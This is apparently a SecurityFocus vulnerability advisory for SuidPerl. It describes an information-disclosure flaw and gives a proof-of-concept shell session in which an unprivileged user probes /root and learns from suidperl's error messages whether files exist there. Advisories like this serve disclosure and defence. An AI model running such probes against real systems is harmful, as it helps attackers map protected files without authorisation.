source: https://www.securityfocus.com/bid/6282/info An information disclosure vulnerability has been reported for SuidPerl. Reportedly, it is possible for an attacker to determine whether files exist in non-accessible directories. An attacker can exploit this vulnerability by invoking suidperl with an absolute filename to determine whether the file exists. When run in this manner, suidperl will return with a message that confirms the existence of a file. bash-2.04$ ls -ald /root drwxr-x--- 66 root root 8192 Nov 29 16:00 /root bash-2.04$ id uid=500(evil) gid=500(evil) groups=500(evil) bash-2.04$ ls /root/.bashrc ls: /root/.bashrc: Permission denied bash-2.04$ suidperl /root/.bashrc Script is not setuid/setgid in suidperl bash-2.04$ suidperl /root/nonexistantfile Can't open perl script "/root/nonexistantfile": No such file or directory